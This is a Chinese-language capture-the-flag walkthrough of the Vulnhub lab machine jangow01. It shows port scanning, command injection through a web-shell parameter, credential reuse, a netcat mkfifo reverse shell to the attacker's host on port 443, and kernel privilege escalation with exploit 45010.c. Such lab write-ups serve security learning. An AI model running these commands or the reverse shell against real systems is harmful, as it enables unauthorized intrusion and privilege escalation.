Vulnhub 之 jangow01
靶机地址:https://www.vulnhub.com/entry/jangow-101,754/
Kali IP:192.168.56.102
下载OVA文件后,直接通过VirtualBox导入。
信息收集
靶机IP在OS上电时候,由banner打印出:192.168.56.118.
端口开放
nmap一把梭:
nmap -sS -sV -Pn -n --open -T4 -p1-65535 192.168.56.118
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18
FTP 21
匿名登录:无
Brute:无
漏洞:无
HTTP 80
80/tcp open http Apache httpd 2.4.18
访问web页面后,是一个Bootstrap框架的web。Title上有个Buscar
的按钮,会发送一个参数为空的请求。经过测试,该接口系命令执行接口:
http://192.168.56.118/site/busque.php?buscar=
漏洞利用
命令执行
基于80端口的命令执行端口,先进行进一步的信息收集。
查看这个busque.php
文件,就是一个一句话木马:
搜索flag文件,无有效flag文件:
find / -name '*flag*'
转URL:%66%69%6e%64%20%2f%20%2d%6e%61%6d%65%20%27%2a%66%6c%61%67%2a%27
为方便操作,上传AntSword并连接:
进一步信息收集
HTML主目录下有一个.backup
备份文件,记录了mysql的凭证信息:
wordpress目录下又记录了另外一个mysql凭证:
但是两个凭证连接mysql都失败了。
联想到开放的21端口,尝试jangow01\abygurl69
登录jangow01
,成功登录上。成功获取jangow01的密码:
反弹Shell
尝试反弹shell,发现没反应。可能是端口有过滤。而且nc的-e参数也被裁剪。
在网上看其他师傅的WP,发现443端口是开着的。使用网上的命令(https://www.revshells.com/)进行反弹:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 443 >/tmp/f
更新为完整shell:
python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
Ctrl+z
stty -a
stty raw -echo;fg
reset
切换用户到jangow01:
全盘查找flag文件,并没有找到。考虑进行提权。
提权
Sudo和SUID都没有利用点。搜索已知漏洞进行提权:
uname -a
lsb_release
searchsploit ubuntu 16.04
都试一遍,发现45010.c可以提权成功:
get flag: